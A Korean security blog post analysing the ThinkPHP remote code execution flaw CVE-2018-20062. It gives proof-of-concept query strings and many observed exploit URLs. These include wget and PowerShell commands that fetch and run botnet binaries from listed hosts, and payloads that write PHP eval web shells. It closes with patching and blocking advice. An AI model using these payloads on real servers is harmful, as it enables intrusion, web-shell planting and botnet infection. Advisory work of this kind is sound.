본문 바로가기
IT 보안

ThinkPHP 원격코드 실행 취약점 (CVE-2018-20062)

by 떠도리c 2024. 9. 23.
반응형

ThinkPHP 원격코드 실행 취약점 (CVE-2018-20062)에 대한 분석 자료입니다.

ThinkPHP 원격코드 실행 취약점 (CVE-2018-20062)

[caption id="attachment_983" align="aligncenter" width="481"]

< Think PHP >[/caption]

ThinkPHP는 Apache2 오픈 소스 라이선스로 배포되는 PHP 기반의 웹 애플리케이션 개발 프레임워크입니다.
기업 프로젝트의 빠른 개발에 중점을 두고 있으며  중국에서 매우 인기가 있습니다.

취약점 개요

ThinkPHP는 인증되지 않은 원격 코드 실행(RCE) 취약점이 있습니다.
URL에 전달된 컨트롤러 이름에 대한 유효성 검사가 충분하지 않기 때문에 강제 라우팅 옵션이 활성화되지 않은 경우 getshell 취약점이 발생할 수 있습니다.

ThinkPHP는 url 쿼리 매개변수를 구문 분석하여 모듈, 컨트롤러 및 기능을 검색하고
이 후 컨트롤러 클래스 확인 및  클래스의 개체를 인스턴스화하고 url에 전달된 함수를 실행합니다.

url 쿼리는 구분 기호 '/'를 사용하여 구문 분석됩니다. 이상적인 컨트롤러 클래스는 이름에 '\'를 사용하지 않아야 합니다.
기존 버그로 인해 '\think\app'은 컨트롤러 클래스 이름으로, 'invokefunction'은 함수로 구문 분석됩니다.
그런 다음 'think' 내에 컨트롤러 클래스 'App'의 인스턴스를 만든 다음 'invokefunction' 메서드를 호출합니다.
'invokefunction'은 공격자가 원격 코드 실행을 수행할 수 있도록 임의의 기능을 인수로 사용할 수 있습니다.

 

?s=index/ \think\app /invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

그리고 같은 취약점이 ThinkPHP의 다른 컨트롤러 클래스 'Request'를 통해 원격 코드 실행을 허용합니다.

Request 클래스는 캐시 기능이 URL 쿼리의 일부로 제공된 임의의 기능을 실행할 수 있도록 아래 URL로 인스턴스화할 수 있습니다.

 

?s=index/ \think\request /cache&key=1|phpinfo

이는 컨트롤러 이름에 대한 프레임워크의 유효성 검사가 충분하지 않아 임의의 원격 코드 실행 또는 서버 액세스를 허용하기 때문입니다.

이 취약점은 현재 ThinkPHP의 취약한 버전을 실행하는 서버에 봇넷 및 기타 악성 코드를 설치하기 위해 다양한 위협 그룹에 의해 악용되고 있습니다.

 

 

아래는 ThinkPHP RCE 취약점을 악용하려는 URL 중 일부 입니다.

 

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=wget hxxp://cnc.arm7plz.xyz/bins/set[.]x86 -O /tmp /.eSeAlg; chmod 777 /tmp/.eSeAlg; /tmp/.eSeAlg thinkphp


index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo'<?php eval($_POST[qazw]);?>' > result.php


index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php -r 'print(“tj”.” tj”);


index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('hxxp:// a46.bulehero.in/download[.]exe','C:/12.exe');start C:/12.exe


index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl 46.30.43[.]159:81/zz


index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP


index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl 176.32.33[.]124/zzta


index.php?s=index/\think\app/invokefunction&function=assert&vars[0]=${@print(eval(phpinfo().fputs(fopen('lx.php','w'), Base64_decode('Q25sdVh1bjw /cGhwIEBldmFsKCRfUE9TVFsnbHgnXSk7Pz4='))))}


/index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget hxxp://193.239.147[.]201/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'


/index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget hxxp://64.112.43[.]105/bns/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'


/index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget hxxp://51.81.133[.]91/FKKK/NW_BBB.x86 -O /tmp/ .Fdp; chmod 777 /tmp/.Fdp; /tmp/.Fdp ThinkPHP.x86.Selfrep'


/index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget hxxp://107.189.1[.]53/bins/Tsunami.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'


/index.php?s=/index/ hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget hxxp://103.136.43[.]52/bins/Tsunami.x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp'

 

 

결론

 
  • ThinkPHP 버전 5.0.23 또는 5.1.31로 업그레이드.
    ThinkPHP5 기반 콘텐츠 관리 시스템을 사용하는 경우 이 취약점의 영향을 받을 수 있습니다.
  • 보안 장비에서 'CVE-2018-20062' 취약점에 대한 탐지룰 확인 및 적용
  • 보안 장비(FW, IPS, WAF등)에서 패킷의 출발지 IP 또는 Request URI 기반으로 트래픽 차단
  • Request URI 안에 내용 중 'wget IP/Domain' or 'curl IP/Domain'에 대한 악성 IP/Domain 차단

 

반응형